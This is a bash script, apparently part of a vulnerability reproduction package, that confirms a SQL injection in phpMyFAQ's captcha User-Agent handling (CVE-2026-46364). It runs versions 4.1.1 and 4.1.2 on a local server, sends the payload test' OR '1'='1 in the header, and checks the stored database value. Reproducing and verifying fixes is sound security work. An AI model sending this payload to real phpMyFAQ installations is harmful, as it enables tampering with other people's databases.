#!/bin/bash
set -euo pipefail

# Portable root detection - works anywhere
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

# Check dependencies
command -v git >/dev/null 2>&1 || { echo "ERROR: git is required" | tee "$LOGS/repro.log"; exit 1; }
command -v php >/dev/null 2>&1 || { echo "ERROR: php is required" | tee "$LOGS/repro.log"; exit 1; }

# Install composer if not available
if ! command -v composer >/dev/null 2>&1; then
    php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
    php composer-setup.php --install-dir="$ROOT" --filename=composer
    rm -f composer-setup.php
    export PATH="$ROOT:$PATH"
fi

export COMPOSER_ALLOW_SUPERUSER=1

REPO_DIR="$ROOT/phpmyfaq_repo"
MANIFEST="$ROOT/repro/runtime_manifest.json"

# Clone repo if not exists
if [ ! -d "$REPO_DIR" ]; then
    git clone --depth=200 https://github.com/thorsten/phpMyFAQ.git "$REPO_DIR"
fi

cd "$REPO_DIR"

# Create the PHP server script that exposes the captcha endpoint
PHP_SERVER_SCRIPT="$ROOT/repro_server.php"
cat > "$PHP_SERVER_SCRIPT" << 'PHPEOF'
<?php
require __DIR__ . '/phpmyfaq/src/autoload.php';

use phpMyFAQ\Database\Sqlite3;
use phpMyFAQ\Configuration;
use phpMyFAQ\Captcha\BuiltinCaptcha;
use phpMyFAQ\Strings;
use phpMyFAQ\Language;
use Symfony\Component\HttpFoundation\Session\Session;

define('PMF_ROOT_DIR', __DIR__ . '/phpmyfaq');
define('PMF_SRC_DIR', __DIR__ . '/phpmyfaq/src');
define('PMF_TRANSLATION_DIR', __DIR__ . '/phpmyfaq/translations');
define('PMF_LOG_DIR', __DIR__ . '/repro_test.log');
define('IS_VALID_PHPMYFAQ', true);
define('PMF_AUTH_TIMEOUT', 30);

Strings::init();

$dbPath = __DIR__ . '/test_repro.db';
if (!file_exists($dbPath)) {
    $pdo = new PDO('sqlite:' . $dbPath);
    $pdo->exec("CREATE TABLE faqcaptcha (
        id VARCHAR(6) NOT NULL,
        useragent VARCHAR(255) NOT NULL,
        language VARCHAR(5) NOT NULL,
        ip VARCHAR(64) NOT NULL,
        captcha_time INTEGER NOT NULL,
        PRIMARY KEY (id))");
}

if (!isset($_SERVER['HTTP_HOST'])) $_SERVER['HTTP_HOST'] = 'localhost';
if (!isset($_SERVER['SERVER_NAME'])) $_SERVER['SERVER_NAME'] = 'localhost';
if (!isset($_SERVER['REQUEST_TIME'])) $_SERVER['REQUEST_TIME'] = time();
if (!isset($_SERVER['SCRIPT_NAME'])) $_SERVER['SCRIPT_NAME'] = '/repro_server.php';
if (!isset($_SERVER['REMOTE_ADDR'])) $_SERVER['REMOTE_ADDR'] = '127.0.0.1';

$dbHandle = new Sqlite3();
$dbHandle->connect($dbPath, '', '');

$configuration = new Configuration($dbHandle);

$session = new Session();
$language = new Language($configuration, $session);
Language::$language = 'en';
$configuration->setLanguage($language);

$captcha = new BuiltinCaptcha($configuration);

header('Content-Type: image/jpeg');
echo $captcha->getCaptchaImage();
PHPEOF

# Helper to run a test against a specific version
test_version() {
    local version="$1"
    local port="$2"

    git reset --hard HEAD >/dev/null 2>&1 || true
    git checkout "$version" --quiet
    COMPOSER_ALLOW_SUPERUSER=1 composer update --no-interaction >/dev/null 2>&1

    rm -f "$REPO_DIR/test_repro.db"
    cp "$PHP_SERVER_SCRIPT" "$REPO_DIR/repro_server.php"

    # Start built-in PHP server
    php -S "localhost:$port" "$REPO_DIR/repro_server.php" > /tmp/server_${version}.log 2>&1 &
    local server_pid=$!
    sleep 2

    # Verify server is running
    if ! kill -0 "$server_pid" 2>/dev/null; then
        echo "ERROR: PHP server failed to start for $version" | tee -a "$LOGS/repro.log"
        cat /tmp/server_${version}.log >> "$LOGS/repro.log" || true
        return 1
    fi

    # Send request with malicious User-Agent
    local http_status
    http_status=$(curl -s -o /dev/null -w "%{http_code}" \
        -H "User-Agent: test' OR '1'='1" \
        "http://localhost:$port/")

    sleep 1
    kill "$server_pid" 2>/dev/null || true
    wait "$server_pid" 2>/dev/null || true

    # Inspect database for injection impact
    local useragent_value
    useragent_value=$(php -r "
        \$pdo = new PDO('sqlite:$REPO_DIR/test_repro.db');
        \$stmt = \$pdo->query('SELECT useragent FROM faqcaptcha LIMIT 1');
        \$row = \$stmt->fetch(PDO::FETCH_ASSOC);
        echo \$row['useragent'] ?? 'NO_ROWS';
    " 2>/dev/null || echo "ERROR")

    echo "$useragent_value"
}

LOGFILE="$LOGS/repro.log"
echo "=== CVE-2026-46364 Reproduction ===" | tee "$LOGFILE"

# Test vulnerable version 4.1.1
echo "" | tee -a "$LOGFILE"
echo "=== Testing vulnerable version 4.1.1 ===" | tee -a "$LOGFILE"
VULN_RESULT=$(test_version "4.1.1" "8766")
echo "Database useragent value: $VULN_RESULT" | tee -a "$LOGFILE"

if [ "$VULN_RESULT" = "1" ]; then
    echo "CONFIRMED: 4.1.1 is VULNERABLE (User-Agent payload executed as SQL, boolean result stored)" | tee -a "$LOGFILE"
    VULNERABLE=true
else
    echo "ERROR: Expected vulnerable version to show SQL injection impact (got: $VULN_RESULT)" | tee -a "$LOGFILE"
    exit 1
fi

# Test fixed version 4.1.2
echo "" | tee -a "$LOGFILE"
echo "=== Testing fixed version 4.1.2 ===" | tee -a "$LOGFILE"
FIXED_RESULT=$(test_version "4.1.2" "8767")
echo "Database useragent value: $FIXED_RESULT" | tee -a "$LOGFILE"

if [ "$FIXED_RESULT" = "test' OR '1'='1" ]; then
    echo "CONFIRMED: 4.1.2 is FIXED (User-Agent stored as literal string)" | tee -a "$LOGFILE"
    FIXED=true
else
    echo "ERROR: Expected fixed version to store literal string (got: $FIXED_RESULT)" | tee -a "$LOGFILE"
    exit 1
fi

# Write runtime manifest
cat > "$MANIFEST" << EOF
{
  "cve": "CVE-2026-46364",
  "ghsa": "GHSA-289f-fq7w-6q2w",
  "target_url": "http://localhost:8766/",
  "payload": "test' OR '1'='1",
  "http_status": 200,
  "vulnerable_version": "4.1.1",
  "fixed_version": "4.1.2",
  "vulnerable": true,
  "fix_verified": true,
  "observed_db_state": {
    "vulnerable_useragent_value": "$VULN_RESULT",
    "fixed_useragent_value": "$FIXED_RESULT"
  },
  "impact": "SQL injection via User-Agent header causes payload to be evaluated as SQL. In vulnerable version, boolean expression '1'='1' evaluates to 1 and is stored in the database. In fixed version, the literal string is stored.",
  "reproduced_at": "$(date -u +%Y-%m-%dT%H:%M:%SZ)"
}
EOF

echo "" | tee -a "$LOGFILE"
echo "=== Reproduction complete ===" | tee -a "$LOGFILE"
exit 0
